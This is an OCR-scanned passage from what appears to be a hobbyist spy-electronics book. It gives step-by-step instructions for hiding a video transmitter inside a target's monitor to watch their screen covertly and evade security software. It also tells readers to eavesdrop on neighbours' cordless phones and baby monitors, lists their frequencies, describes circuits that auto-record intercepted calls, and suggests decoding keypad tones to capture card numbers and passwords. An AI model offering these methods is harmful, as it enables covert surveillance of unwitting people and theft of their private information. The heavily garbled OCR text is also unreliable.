control  a PC  from  another  PC  on  a network  or  the 
Iniemet.  These  programs  do  indeed  work,  but  not 
in  any  way  that  would  be  stealthy  enough  for  our 
needs.  First,  these  programs  suck  bandwidth  like 
an  SUV  sucks  ga.soUne.  and  they  do  not  really 
work  in  the  background,  since  their  primary 
function  is  to  allow  you  to  move  the  mouse  and 
send  keystrokes  to  that  target  system.  There  are 
programs  designed  to  get  around  their  obvious 
detection,  and  snoop  quietly  on  a PC:  the  most 
fumou»<  right  now  is  the  “Back  OriHce"  program 
(search  for  it  on  the  Imemet).  Of  course,  any  good 
virus  protection  or  Internet  security  software  will 
gobble  that  little  program  right  up  and  alert  the 
user  that  you  ore  up  to  no  good.  The  reality  is,  if 
you  want  to  gain  access  to  a restricted  area,  you 
will  have  to  come  up  with  some  creative  solutions 
that  the  “white  hat"  geeks  have  not  already  thought 
of.  How  about  a live  view  of  the  user's  PC  screen 
without  even  using  their  computer? 


VGfl-to-TV  Converter 

How  i.s  that  possible?  Easy,  we  will  just  transmit 
the  entire  image  to  a remote  receiver,  completely 
independent  of  the  PC.  then  sit  back  and  watch  tbe 
show.  This  will  thwart  all  security  software,  and  if 
Q placed  properly,  the  hardware  will  be  almost 
^ undetectable.  To  accomplish  this  goal,  we  will  first 
have  to  change  the  VGA  signal  ftom  the  PC  Into 
0 an  NTSC  video  signal  for  reception  and  display  on 
l4  a standard  TV  or  video  monitor-  This  can  be  easily 
accomplished  with  one  of  those  inexpensive  “VGA 


2 TV"  or  scan  conveiw  boxes,  like  the  one  shown 
in  Figure  1 1•12  connected  between  my  laptop  and 
my  trusty  Commodore  1702  monitor.  This  device 
allows  the  playback  of  your  PC  to  a television  or 
monitor  with  a standard  RCA  style  composite 
input  Jock.  These  devices  are  used  in  conference 
rooms  to  display  a ^seniaiion  to  a large  screen, 
or  can  be  used  to  hook  your  gaming  computer  to  a 
big  screen  TV  and  enieriainment  system.  We  have 
a much  more  devious  use.  though. 

With  the  VGA«lo«TV  box  converting  the  VGA 
signal  back  lo  a standard  NTSC  television  signal, 
we  can  now  transmit  the  signal  to  a remote 
receiver  using  an  inexpensive  video  transmitter  like 
the  one  used  in  the  Video  Controlled  Robot  project 
later  in  this  book  (Section  15).  The  output  power 
of  the  chosen  video  transmitter  really  only  has  to 
do  with  how  far  you  want  to  be  away  from  the 
target  while  viewing.  A transmitter  that  complies 
with  the  legal  limits  should  give  you  an  easy 
500*fooi  range,  enough  to  hide  out  of  view. 

You  can  use  a lot  mort  output  power  if  you  like, 
but  depending  on  how  close  the  transmitter  is 
to  the  computer  screen,  there  may  be  noticeable 
distc^on  to  the  image  on  the  user's  screen  due 
to  RF  interference.  This  would  negate  the  entire 
purpose  of  this  coven  operation. 

Fw  my  testing.  1 chose  a 1 -watt  900  MHz 
rransiniiier  with  a matching  receiver.  This  unit  is  a 
bit  large,  but  would  allow  viewing  of  the  target 
screen  from  the  parking  lot  next  door  using  a 
mobile  receiver  mounted  in  my  car.  No  matter 
what  type  of  converter  and  iransmiuer  you  choose, 
the  wiring  diagram  will  always  be  the  same  as 
shown  on  Figure  11-13.  Tbe  VGA  output  from  tbe 
computer  directly  feeds  the  scan  converter,  which 
(hen  passes  the  signal  back  on  to  the  VGA  monitor. 
The  NTSC  output  from  the  scan  converter  then 
feeds  the  video  transminer.  You  receive  the  signal 
at  a remote  location,  and  view  at  your  leisure. 


FI  gure  I U1 S VOA-io-TV  boxes  let  you  viw  your  computer  on  a lelevision  screen. 


where  you  plftn  on  doing  a lot  of  data  collection,  it 
may  be  viable  u>  place  ibe  devices  right  inside  the 
monitor.  Depending  on  the  site  of  the  scan 
convener  and  trensminer.  placement  directly  inside 
the  monitor  may  be  possible — even  leeching 
power  right  from  the  mmutor  With  a CRT  (glass 
picture  tube)  monitor,  this  is  especially  easy  due  to 
the  size  of  the  case,  but  with  an  LCD  (flat  panel) 
monitor,  space  may  not  be  so  plentiful  My  target 
monitor  was  a run  of  (he  mill  17-inch  CRT 
style,  and  even  using  very  large  components, 

I had  plenty  of  room  inside  for  the  works 
(see  Figure  1 1-14).  I leeched  power  directly  from 
the  monitor  by  carefully  tracing  the  power  supply 
to  find  a clean  1 2- volts  DC  for  both  the  inmsmitler 
and  converter. 

Be  careful  if  you  plan  on  using  power  diiectly 
from  the  oxmitor.  as  you  may  get  too  much  voltage 
your  devices,  or  overload  the  power  su[^ly  in 
the  monitor.  If  you  do  not  want  to  risk  toasting  the 
monitor,  run  the  AC  cord  from  the  convener  and 
transmiaer  power  supply  to  the  AC  cord  in  the 
monitor  after  (be  power  switch  on  the  monitor.  This 
way,  (he  traft^mitier  wiU  be  powered  oS  once  the 
user  shuts  down  the  PC  for  the  day.  Anodier  thing  to 
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Figure  11  *1 B The  bcsic  wiring  diagram  for  the 
computer  screen  tmnsmitier  project. 


How  you  hide  the  final  project  will  depend  on  a 
couple  of  factors — how  much  lime  do  you  have 
with  the  target  computer  and  how  permanent  does 
the  installation  need  (o  be?  If  this  is  a one-time 
job.  a simple  box  containing  the  converter  and 
transmiilcr  could  be  easily  hidden  under  or  behind 
the  user's  desk.  This  would  also  make  installation 
and  removal  very  quick  and  easy.  For  those 
situations  where  the  user  may  be  su^icious.  or 


mpu*ber  Screen  Transmitter 


Project  72— Computer  Screen  Transmitter 


RdUfB  IMM  The  scan  convener  (A)  and  transmtUer 
(Bi  hidden  inside  /he  moniior. 


note  if  you  plan  to  hide  the  convener  and  inuismiiter 
in  the  target  monitor  b that  you  will  have  to  cut  the 
incoming  VGA  cable  the  monitor's  main 
board,  route  it  to  the  scan  convener’s  input  then 
connect  the  output  cable  from  the  scon  converter 
back  to  the  monitor’s  main  board.  This  may  seem 
like  a daunting  task,  but  in  reality,  only  requires  you 
to  cut  a monitor  extension  caUe  in  half,  then  solder 
15  wires.  Cut  (he  extension  cable  in  half,  then  strip 
the  ends  of  all  30  wires  (15  per  half)*  The  cable 
coming  into  the  monitor  can  then  be  cut  and 
stripped  in  the  same  manner  as  the  extension  cable. 
Tht  pins  on  each  cable  should  be  tested  with  a 
meter  to  associate  color  with  pin  number,  os  the 
original  monitor  cable  will  most  likely  have 
clifTerem  colors  than  the  extension  coble.  With  the 


pin  to  color  diagram,  solder  (be  incoming  moniior 
cable  CO  the  half  of  the  extension  cable  that  will  feed 
the  input  Jack  on  tbe  converter  box  (where  the  PC 
would  normally  plug  in  to).  'n>e  other  half  of  the 
cable  (returning  from  tbe  converter  box)  is  then 
soldered  bock  ^o  the  monitor  main  board  side.  TTiis 
crcaies  a very  solid  and  permanent  transmitting 
monitor  that  will  go  undetected  by  the  user  unless 
they  decide  to  open  the  case.  One  last  method, 
although  a little  messy,  is  to  pull  the  original 
monitor  cable  into  tbe  case,  plug  it  into  the  output 
side  of  the  converter  box.  then  feed  tbe  cable  that 
came  with  (he  convener  back  out  through  the  hole 
(he  original  cable  come  through  on  the  monitor  This 
avmds  the  work  involved  in  cutting  and  soldering  all 
those  wires,  but  may  mn  look  authentic,  and  you 
will  also  have  to  find  extra  room  for  all  that  cable 
pulled  into  ihc  monitor. 

Also,  when  placing  the  units  inside  a CRT 
monitor,  keep  (hem  a.s  far  away  from  the  high 
voltage  areas  of  the  monitor  as  you  can.  The  fat 
wire  running  from  the  main  board  to  a rubber  cup 
on  the  glass  picture  tube  carries  several  thousand 
volts,  and  you  will  want  to  mount  everything  as  far 
from  this  as  possible. 

Now  you’ve  gained  quite  a lot  of  knowledge 
about  how  to  monitor  computer  usage  and  recover 
data  covertly.  You’ve  also  learned  how  to  find 
hidden  bits  of  data  in  files  and  folders  that  contain 
valuable  infomiation  in  your  quest  for  The  Truth, 
la  the  next  chapter,  you  will  discover  how  radio 
frequency  (RF)  scanners  work  and  how  they  can 
be  used  for  more  covert  missions. 
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RF  Scanners 

Project  73 — Scanning  the  Neighborhood 


To  ihe  urban  spy,  Radio  Frequency  (RF)  scanners 
are  a dream  come  mie  because  they  lei  you  tune 
into  a very  large  range  of  ibe  radio  spectrum  and 
listen  to  the  exchange  between  two  parties  as  if 
you  were  tuning  into  a typical  radio,  Most  of  the 
communication  you  will  hear  on  an  RF  Kanncr  is 
readily  available  as  an  unscrambled  audio  signal, 
partly  due  to  the  fact  that  the  operator  may  not 
care  that  it  can  be  heard,  but  also  because  ibe 
operator  may  not  know  how  easily  ii  can  be  heard. 
You  might  think  that  your  new  900  MHz  cordless 
phone  with  25  channel  capability  offers  a great 
deal  of  security  and  privacy,  but  the  truth  Is.  many 
of  the  basic  cordless  devices  available  today  offer 
little  or  no  privacy  whatsoever.  Adding  the 
functionality  of  secured  transmission  on  any  RF 
device  involves  a lot  more  circuitry,  and  cost  to  the 
user,  something  that  would  not  appeal  to  the 
average  consumer.  Sure,  you  can  pay  extra  for  a 


Figure  13-1  A typical  radio  scanner  hose  uniL 


cordless  phone  with  frequency  hopping  abilities,  or 
purchase  a family  radio  system  with  some  type  of 
voice  .scrambling  system,  but  those  features  cost  a 
tot  moK  than  the  ba.sic  unit,  and  in  reality,  a highly 
motivaied  spy  with  a good  handle  on  electronics 
could  still  eavesdrt^.  Unless  your  radio  uses  an 
encryption  system  with  some  type  of  hard-iO'Crack 
code  or  encryption  key.  then  you  are  a target  for 
any  Evil  Ceoius  that  can  reverse  engineer  a 
matching  receiver,  making  it  tune  into  your 
iransminer.  The  scariest  part  of  all  is  that 
sometimes  no  electronics  experience  will  be 
needed  in  order  for  the  eavesdropper  to  listen  to 
your  device  besides  the  flii^ing  of  a few  so-called 
channels  and  the  addition  of  an  outdoor  amenna  to 
some  type  of  bo.sic  consumer  radio  device  like  a 
baby  room  monitor. 

Before  you  can  tune  into  your  neighborhood  as 
though  it  were  a commercial  free  "reality'’  radio 
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show,  you  will  n«d  some  type  of  RF  scanner  like 
the  one  shown  in  Figure  12«l. 

Like  most  of  the  radio  devices  you  will  be 
scanning  for,  not  all  scanners  are  created  equal, 
and  indeed,  you  will  gel  wbai  you  pay  for  in 
features.  Sure,  any  old  scanner  will  provide  hours 
of  entertairunent,  with  easy  access  to  most  low-end 
RF  devices  such  os  baby  monitors,  older  cordless 
phones.  citi?ens  band  radios,  and  even  some 
government  agencies,  but  to  really  dig  into  the  RF 
spectrum,  you  will  need  a scanner  that  can  reach  as 
'0  most  of  the  RF  spectrum  as  possible.  The  ultimate 
0 scanner  will  reach  frequencies  as  low  as  a few*  kHz 
2 (kilohenz)  with  an  upper  limit  of  several  GHz 
(gigahcftt).  It  will  have  the  ability  to  program 
Q several  hundred  channels  into  memory  for  fast 
^ scanning,  and  it  will  scan  with  a ^)eed  fast  enough 
^ to  lock  onto  a conversation  before  anything  is 
^ missed.  Some  other  features  that  a high-end 
H scanner  should  has*e  are:  audio  output.  DTMF 
(U  decoding,  extremely  small  scanning  steps,  and 
2 possibly  some  type  of  .simple  unscrambling  device. 
A top-end  scanner  with  all  the  bells  and  whistles 
will  set  you  buck  a few  hundred  dollars  as 
compared  to  an  older  unit  with  a nairosver  scan 
spectrum  which  can  he  found  at  many  second-hand 
stores  for  well  under  a hundred  dollars.  Before  you 
dig  deep  into  your  spy  budget  for  the  latest  and 
greatest  hardware,  tirst  take  a look  at  the  list  of 
common  frequencies  shown  in  Table  12-1.  to 
see  what  RF  devices  may  be  tninsmining  in 
your  area. 

As  you  will  notice  in  Table  12-1.  there  is  a 
world  of  information  at  your  fingertips,  much  of  it 
attainable  with  even  the  most  basic  second-band 
scanner.  One  of  the  most  interesting  areas  of  the 
RF  spectrum  is  the  900  MHz  cordless  phone  and 
room  monitor  slice.  a.s  most  of  these  transmissions 
will  be  fully  unscrambled  and  available  ai 
distances  of  several  blocks  or  more  depending  on 
where  you  place  your  scanner's  antenna.  Your 
infotmation-gathering  mission  may  be  very  easy  if 


your  target  willingly  places  a sensitive  audio  bug. 
such  as  a baby  monitor,  in  his  or  her  home.  Many 
people  do  not  realize  that  baby  monitor  equipment 
uses  RF  that  can  be  transmitted,  intercepted  and 
recorded  outside  of  their  home.  When  you  plug  a 
baby  monitor  into  the  power  source,  it  begins 
spewing  out  every  whisper  in  your  house  for  every 
scanner  owner  within  a few  miles  to  hear,  and  I 
have  yet  lo  see  any  type  of  scrambling  or  secunty 
feamres  available  in  these  devices,  no  maner  what 
the  cost.  Inexpensive  cordless  phones  are  no  more 
secure  than  those  room  rmmilors.  and  they  will  not 
only  transmit  your  voice,  but  also  the  party  you  are 
communicating  with,  as  well  as  the  numbers  you 
dial  on  the  key  pad.  Some  other  areas  of  interest 
are  the  police  radio  frequencies,  family  radio 
ftequencies  and  CB  radio  frequencies,  as  all  of 
these  will  contain  information  that  may  be  useful, 
interesting,  or  just  plain  entertaining.  Besides 
.scanning  range  and  speed,  the  number  of  channels 
is  also  important  to  the  usefulness  of  a radio 
scanner,  as  these  will  be  like  your  favorite  radio 
stations  placed  into  memory  for  fast  recall.  You 
may  need  to  keep  tabs  on  any  suspicious  activity 
going  on  in  the  house  at  the  end  of  your  street 
(good  thing  they  have  a discount  store  cordless 
phone),  and  monitor  how  often  the  police  are 
dispatched  to  the  location,  so  placing  all  of  the 
900  MHz  cordless  phone  ba.se  frequencies  and 
police  radio  frequencies  on  memory  for  fa.st 
scanning  will  be  necessary.  You  could  plug  in  the 
frequency  ranges  manually,  and  let  the  scanner 
search  for  any  activity,  but  this  takes  a lot  of  time, 
especially  if  the  scanning  step  is  very  narrow.  By 
placing  the  exact  frequency  in  channel  memory,  it 
will  feel  as  though  the  scanner  tunes  in  the  very 
instant  the  conversation  begins,  and  this  is  a bonus 
if  you  plan  to  install  an  auto-recording  device.  The 
tost  feature  that  makes  a scanner  more  usable  is  the 
actual  scanning  speed.  The  scanner  must  first  rune 
into  a certain  frequency,  then  decide  if  there  is 
enough  moduiaiion  there  to  turn  off  the  squelch 
circuit  and  begin  sending  the  audio  to  the  speaker. 
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Table  12-1  Common  RF  dei'ices  and  their  transmit  frequencies 


CB  Radio  Channels 

Channel 

frequency 

Channel 

FKquency 

Channel 

Frequency 

Channel 

Frequency 

\ 

26.965 

12 

27.105 

23 

27J225 

34 

27.345 

2 

26-975 

13 

27.115 

24 

27-235 

35 

27.355 

3 

26.985 

14 

27.125 

25 

27.245 

36 

27.365 

A 

27.005 

15 

27.135 

26 

27.265 

37 

27.375 

5 

27.015 

16 

27.155 

27 

27.275 

38 

27.385 

6 

27.025 

17 

27.165 

28 

27.285 

39 

27.395 

7 

27.035 

18 

27.175 

29 

27.295 

40 

27.405 

8 

27.055 

19 

27-185 

30 

27.305 

9 

27.065 

20 

27-205 

31 

27.315 

10 

27.075 

21 

27.215 

32 

27.325 

II 

27.085 

22 

27.225 

33 

27.335 

Family  Radio  Service 

Channel 

Frequency 

Channel 

Frequency 

Channel 

Frequency 

Channel 

Frequency 

1 

462.5625 

5 

462.6625 

9 

467.5875 

13 

467.6875 

2 

462.5875 

6 

462.6875 

10 

467.6125 

14 

467.71 2S 

3 

462.5875 

7 

462.7125 

II 

467.6375 

4 

462.6375 

8 

467.5625 

12 

467.6625 

Cellular  Telephone  Frequencies 

Baby  Monitor  Frequencies 

Senice  A 

Service  B 

Channel 

Frequency 

Channel  Frequency  Channel  Frequency 

824.040-834.990  835.020.844.980 

1 

49.3000 

4 49.8600  7 

49.8950 

869.040.879.990  880.020-889.980 

2 

49.8300 

5 49.8750  8 

49.9700 

845.010-846.480  846.510-848.970 

3 

49.8450 

6 49.8900 

890.010-891.480  891310-893.970 

Cordless  Telephone  Frequencies 

Oumnel 

Base 

Handset  Channel  Base 

Handset 

Channel 

Base 

Handsel 

\ 

43.720 

48-760 

1 1 44.320 

49.280 

21 

46.770 

49.830 

2 

43.740 

48.840 

12  44.360 

49.360 

22 

46.830 

49.890 

3 

43.820 

48.860 

13  44.400 

49.400 

23 

46.870 

49.930 

A 

43.840 

48.920 

14  44460 

49.460 

24 

46.930 

49,990 

5 

43.920 

49.020 

15  44.480 

49.500 

25 

46.970 

49.970 

6 

43.960 

49.080 

16  46.610 

49.670 

7 

44.120 

49.100 

17  46.630 

49.845 

8 

44.160 

49.160 

18  46.670 

49.860 

9 

44.180 

49.200 

19  46.710 

49.770 

10 

44.200 

49.240 

20  46.730 

49.875 

(Continued) 
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Channel 

Base 

Handset 

Charnel 

Base 

Handset 

ChanRel 

Base 

Handset 

1 

902.100 

926-100 

21 

902.700 

926.700 

41 

903.300 

927.300 

2 

902.130 

926.130 

22 

902.730 

926,730 

42 

903.330 

927.330 

3 

901160 

926.160 

23 

902.760 

926-760 

43 

903-360 

927.360 

4 

902-190 

926-190 

24 

902-790 

926.790 

44 

903,390 

927.390 

5 

902.220 

926.220 

25 

902320 

926.820 

45 

903.420 

927.420 

6 

902,250 

926.250 

36 

901850 

926.850 

46 

903.450 

927.450 

7 

902.280 

926.280 

27 

902.880 

926.880 

A1 

903.480 

927,480 

S 

902.310 

926310 

28 

902.910 

926.910 

48 

90.351 

927.510 

9 

902.340 

926340 

29 

902.940 

926.940 

49 

903.540 

927.540 

10 

902.370 

926.370 

30 

902.970 

926.970 

50 

903.570 

927.570 

11 

902-400 

926.400 

31 

903.000 

927.000 

51 

903.600 

927.600 

12 

902,430 

926.430 

32 

903.030 

927i)30 

52 

903.630 

927,630 

13 

902.460 

926.460 

33 

903.060 

927.060 

53 

903.660 

927.660 

14 

902.490 

926.490 

34 

903.090 

927.090 

54 

903.690 

927.690 

15 

902.520 

926.520 

35 

903.120 

927,120 

55 

903.720 

927.720 

16 

902.550 

926.550 

36 

903.150 

927.150 

56 

903.750 

927.750 

17 

9O2.5R0 

926.5SU 

37 

903.180 

927.180 

57 

903.780 

927.780 

18 

902.610 

926.610 

38 

903310 

927-210 

58 

903.810 

927.810 

19 

902.640 

926.640 

39 

903.240 

927-240 

59 

903.840 

927,840 

20 

902.670 

926.670 

40 

903-270 

927.270 

60 

903.87 

927.870 

If  the  squelch  is  set  too  high,  taint  conversations 
will  be  missed,  but  if  it  is  set  too  low.  you  will 
hear  every  crackle  and  pop  that  occurs  as  the 
scanner  passes  that  frequency.  There  are  two  ways 
in  which  a scanner  will  hunt  for  an  active 
transmission — scanning  channel  memory  tor  any 
activity  on  your  favorite  frequencies,  and  by 
manually  entering  a range  of  frequencies  specified 
by  the  start  and  end  frequencies.  Scanning  speed 
will  always  seem  good  when  scanning  channel 
memory,  as  the  unit  only  has  to  deal  with  a few 
hundred  frequencies  or  less,  depending  on  your 
appetite  for  information.  However,  when  scanning 
a range  of  frequencies,  especially  if  (be  range 
spans  may  megahertz,  the  scan  speed  will  be  very 
noticeable.  If  you  are  searching  for  activity  on  (be 
entire  800-900  MHz  bands,  and  your  scanner  is 
searching  in  0.01  MHz  incremenLs  then  this 
operation  could  take  some  time,  a real  problem  If 


the  conversuion  only  la.sied  for  30  seconds. 
Hunting  throu^  frequencies  like  that  is  a great 
way  to  snoop  out  new  transmissions  on  bands  that 
you  were  not  aware  of.  but  without  a fast  scanner, 
the  chances  of  finding  a lot  of  intermittent  hursts 
of  informatjon  is  unlikely.  Increa.<ting  (he  step  size 
is  an  option  to  increase  scanning  speed,  but  this 
also  reduces  the  chance  of  hitdng  an  exact 
frequency,  and  the  margin  of  error  can  be  quite 
small. 

The  best  thing  to  do  before  you  decide  to  spend 
8 lot  of  money  on  a scanner  is  join  a few  online 
forums  and  get  advice  from  enthusiasts  who 
already  know  what  to  look  for.  especially  when  it 
comes  to  certain  models  that  may  have  range.s  of 
frequencies  ’locked  out”  so  Evil  Geniuses  such  as 
yourself  cannot  eavesdix^  on  the  poor  innocent 
users  of  cheaply  made  RF  devices  with  zero 
security  built  into  them. 
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Ic'$  easy  Co  become  hooked  on  Detghbortiood 
scanning,  and  although  it  may  seem  a bit  twisted  to 
listen  to  Bob  and  Sally  argue  about  who  gets  tbe 
car  that  night  as  you  relax  in  your  mad  scientist's 
lab,  is  there  really  any  difference  between  this  and 
many  of  the  reality  shows  that  are  winning  ratings 
on  television  these  days?  Not  much.  Both  panics 
willingly  installed  devices  that  can  beam  iheir 
personal  lives  out  on  tbe  airwaves,  the  only 
difference  is  that  those  with  cheaply  made  cordless 
phones  and  baby  monitors  did  it  by  accident,  and 
might  assume  they  are  in  private,  but  in  reality, 
have  become  stars  of  their  very  own  reality  show. 
Be  sure  to  check  the  laws  in  your  city, 
state/province  and  country  before  conducting  your 
own  spy  surveillance  activities. 

You  may  want  to  monitor  the  local  police  band 
to  see  if  there  has  been  any  trouble  in  your 
neighborhood  lately,  or  even  fire  and  emergency 
frequencies.  Regardless  of  your  motive,  you  will 
most  certainly  be  missing  out  on  all  the  action  if 
you  are  not  glued  to  your  scanner  at  all  times,  but 
just  like  the  ability  to  auto  record  your  favorite 
reality  show  on  TV,  there  is  a way  to  do  this  as 
well  with  a scanner  and  a handful  of  electronics 
components.  Some  high-end  scanners  may  already 
Include  functionality  to  trigger  an  external 
recording  device,  and  even  time  stamp  the  event, 
but  for  those  who  own  scanners  lack  this  ability, 
the  auto  recording  switch  will  be  the  answer  to 
your  scanner  woes. 

This  simple  circuit  monitors  (he  audio  output 
from  the  scanner  so  that  when  the  squelch  silence 
is  broken,  a relay  will  close  for  a detennined 
amount  of  time  dependent  upon  the  selling  of  (be 
variable  resistor  that  controls  (be  (imiug  cycle.  The 
timer  is  important  so  that  small  breaks  in 
conversation  do  not  (rip  the  recording  device  on 
and  off  constantly.  This  is  the  same  way  the 
scanner’s  squelch  circuit  operates  as  well.  Tbe  lime 


(bat  (he  relay  stays  activated  can  be  sei  from  a few 
milliseconds  to  several  seconds.  Take  a look  at  the 
schematic  in  Figure  12-2  to  see  how  it  interfaces 
between  the  scanner's  audio  output  and  the 
recording  device.  This  circuit  is  very  versatile,  and 
should  be  able  to  control  just  about  any  recording 
device  that  can  operate  from  a single  switch  such 
as  a tape  recorder,  digital  recorder,  or  even  a 
computer  program. 

In  Figure  I2'2,  you  will  notice  that  the  audio 
signal  is  fed  into  the  base  of  an  NPN  transistor 
amplifier  through  a .luF  capacitor  for  Isolation. 
The  output  of  (his  transistor  will  trigger  the  timing 
cycle  of  (he  555  timer  if  suffldem  audio  is 
detected;  a level  (ypical  of  headphone  listening 
would  be  plenty.  The  555  timer's  output  then 
drives  a relay  through  another  NPN  transistor,  and 
this  in  turn  switches  on  the  recording  device.  The 
relay  will  remain  on  until  the  timing  cycle 
controlled  by  the  variable  resistor  is  complete  and 
when  audio  level  drops  back  to  silence  (scanner's 
squelch  activated).  As  long  as  there  is  an  audio 
signal  present,  the  timing  cycle  will  constantly  be 
reset  thus  reducing  the  number  of  on/off  cycles 
seen  at  (he  relay.  This  circuit  assumes  you  do  not 
have  this  functionality  built  into  your  scanner,  os  It 
would  be  redundant  if  you  did.  You  will  also  need 
a way  to  input  the  audio  signal  from  your  scanner 
into  (he  circuit,  and  the  easiest  way  to  do  this  is 
through  tbe  headphone  jack  on  your  scanner.  If 
your  scanner  does  not  offer  even  a headphone  jack, 
(hen  get  out  your  soldering  iron  and  install  your 
own  by  connecting  the  7 mono  jack  directly  to  the 
speaker  terminals  so  that  the  center  pin  connecLs  to 
the  positive  lead  on  the  speaker  and  the  shielded 
wire  connects  to  the  negative  speaker  lead.  The 
circuit  can  be  built  00  a smaU  bit  of  perf  board  and 
placed  into  a small  plo^c  box  with  the  9-volt 
banery,  power  switch,  and  potentiometer  (see 
Ftgure  12-3). 
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Project  74— Scanner  Auto  Recording  Switch 
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Figure  id*s  Scanner  unto  ncording  switch  schematic. 


Figure  IS-?  Tht  compitttd  scanner  auto  recording 
switch. 


The  only  thing  you  must  figure  out  is  how  to 
activate  the  recording  device  you  plan  to  use  for 
this  project.  Since  we  have  a simple  relay  switch  in 
our  dfcuil,  it  will  take  no  more  than  one  two-wire 
jack  connected  horn  an  audio  recorder’s  "REM” 
(remote)  plug  directly  to  the  contact  leads  on  the 
relay.  Once  the  relay  closes,  the  recording  device 
begins  to  record.  Most  microcassetle  recorders 


(analog  and  digital)  have  this  plug  in  the  form 
of  a or  j female  connector  somewhere  on  the 
unit  labeled  REM  or  Remote.  For  recording 
devices  that  do  not  offer  an  auto  start  remote 
switch,  you  will  have  to  get  out  your  thinking  cap 
to  come  up  with  a single  switch  solution  for 
triggering  the  record  function  of  your  device.  If 
your  recc^r  is  a upe-based  unit,  then  the  an.swer 
is  simple — break  the  connection  between  one  of 
the  drive  motor's  power  leads  and  install  a pair  of 
wires  to  a case  mounted  connector  to  simulate  the 
function  of  the  remote  switch,  as  this  is  all  it  really 
is.  The  recorder  is  Uten  set  to  record,  but  will  not 
do  so  unlit  (he  relay  closes  and  allows  cuirent  to 
flow  to  the  motor  as  usual.  The  actual  audio  signal 
is  fed  into  the  recording  device  through  the  line 
input  or  microphone  input  jack,  and  its  level  is 
adjusted  with  the  10  kQ  variable  resistor.  The 
audio  level  on  the  scanner  should  first  be  adjusted 
so  (hat  it  (riggers  the  auto  record  switch  properly 
before  the  audio  input  level  Is  set:  this  way 
»jfficient  voltage  will  reach  the  base  of  the  timer 
trigger  transistor  to  ensure  proper  operation. 
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For  digital  recorders  with  no  moving  pans.  somethiog  you  want  to  do.  then  head  to  the  next 

you  will  have  to  do  some  clever  hacking  to  rig  project  in  this  section  and  check  out  the  scarmer- 

up  a switch  point  on  whatever  button  would  lo-compuier  interface,  as  it  uses  the  computer's 

normally  stare  the  record  function.  If  hacking  a sound  card  digitally  to  store  the  scanner’s  output 

miniature  recording  device,  or  any  other  expensive  directly  to  the  hard  disk  for  veiy  long  duration 
appliance  for  that  matter,  does  not  souikd  like  recording. 


Prolect  75 — Scanner-to-Computer  Interface 

The  most  obvious  choice  for  recording  the  audio  bridge  the  audio  output  jack  on  the  scanner  to  the 
output  from  a scanner  would  be  a personal  line  input  on  the  sound  card  (commonly  ~ mono 

computer,  since  audio  quality  and  record  time  wilt  headf^ne  style  plugs).  If  your  scanner  offers  no 

exceed  just  about  any  ocher  device  that  can  be  used  audio  output,  or  headphone  connection,  not  to 

to  record  audio.  Not  only  can  the  computer  be  used  worry — the  simple  0.1  capacitor  and  10  kC2 

to  edit  and  enhance  die  recorded  audio  for  optimal  variable  resistor  schematic  shown  earlier  in 

playback,  but  it  can  also  decode  the  DTMF  (touch  Rgure  12-2  used  to  lalce  the  audio  directly  from 
tone)  sounds  that  one  might  record  from  a typical  the  speaker's  lenninals  into  a recording  device  can 

cordless  or  cellular  phone.  There  are  a lot  of  also  be  used  to  conMci  your  sound  card  to  the 

services  and  functions  that  require  a person  to  scanner.  If  you  have  not  read  the  '’scanner  auto 

enter  codes  or  information  using  the  number  pad  recording  switch"  section  earlier,  do  so,  a,s  ji 
on  their  telephones,  so  the  next  time  you  are  details  instructions  on  opening  the  scunner  to 

handing  out  your  credit  card  infonnalion.  voice  include  an  audio  output.  Besides  the  audio  output 

mail  passwords  or  key  codes  to  some  type  of  connector  on  the  scanner,  you  will  also  need  to 

security  system,  a.sk  yourself  who  might  be  know  a little  about  the  audio  input  connector  on 

scanning  this  call?  To  record  the  scanner  output  on  your  sound  card,  which  will  either  be  a "line 
to  your  compuwr.  you  will  need  some  type  of  input"  or  a "microphone"  connector.  Although 

recording  software  that  will  work  with  your  sound  both  input  types  will  work,  the  microphone  input  is 
card,  preferably  software  (hat  will  allow  sound  so  much  more  sensitive  than  the  line  level  input 

activated  recording  to  emulate  (he  functions  of  the  that  stry  careful  adjustment  of  the  scanner's 
previous  project  as  well.  Searching  the  Internet  for  volume  and  reciting  level  will  likely  be 
"sound  activated  recording  software"  brings  up  a necessary  to  keep  distortion  at  a tolerable  level, 
large  quantity  of  software  from  various  venders.  If  you  have  the  cation,  always  use  the  line  input 

some  with  demos  available,  some  available  free  of  ccmnector  rather  than  the  microphone  input,  unle^^s 
charge.  For  connection  to  my  scanner.  I chose  the  you  are  using  a microphone  of  course, 
well-known  program  Sound  Forge*  from  Sony  Before  we  move  ahead  on  au.o  recording  and 

Digital  because  it  allows  level  aclivaled  recording,  decoding,  you  must  first  become  familiar 

and  it  has  a veo"  user  friendly  editing  ftinclionality.  of  sound  card  recording, 

as  well  as  many  filters  which  can  enhance  and  specifically  input  levels.  Now,  connect  your 

remove  noise  from  poor  audio  sources.  The  5^3^,  ^ ^ 

scanner  and  the  sound  card  will  be  connected  by  a „p  ^^osen  audio  recording  software,  or  even 
patch  cable  with  whatever  ends  are  necessary  to  basic  recorder  that  came  with  your  operation 
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Project  75— Scanner- to - Computer  Interface 


Proiect  75— Scanner- to -Computer  Interface 


system  such  as  “Sound  Recorder"’  for  Microsoft 
Windows,  found  under  accessories/enteruinment. 
Tune  your  scanner  into  some  constant  audio  source 
such  as  the  weather  network  or  the  neighbor's 
cordless  phone  and  then  press  record  on  your 
audio  recording  software.  If  there  is  some  type  of 
metering,  then  the  level  .should  not  be  hitting  the 
top  of  the  graph  or  pounding  into  the  red;  if  it  is, 
then  you  are  clipping  the  input  audio  and  witi  end 
up  with  a horribly  distorted  playback.  The  input 
level  should  fall  just  slightly  bclovs'  the 
100  per  cent,  or  top  of  the  level  locier,  and  if  you 
are  using  a microphone  input  rather  than  a line 
level  input,  it  may  be  very  hard  to  achieve  this, 
especially  since  the  noise  level  al<H>e  may  be  half 
of  your  input  signal.  You  will  definitely  need  to 
play  with  both  the  scanner’s  volume  (if  it  afTects 
the  line  output  connector),  and  (he  recording  input 


level  on  your  computer  (this  is  usually  part  of  the 
operating  system,  not  the  recording  software).  In 
^A^dows.  you  will  need  to  open  the  volume 
control,  choose  "Options.”  then  "PropertiBs,”  and 
.select  the  "Recording”  button  to  sec  these  levels. 
They  will  be  presented  as  slider  bars  with  the 
names  of  the  corresponding  inputs  beneath  them. 
As  a general  rule,  set  the  recording  inputs  to  half 
way  before  you  alter  the  source  volume.  When 
you  do  get  things  set  up  properly,  the  recording 
levels  should  remain  below  maximum,  and  the 
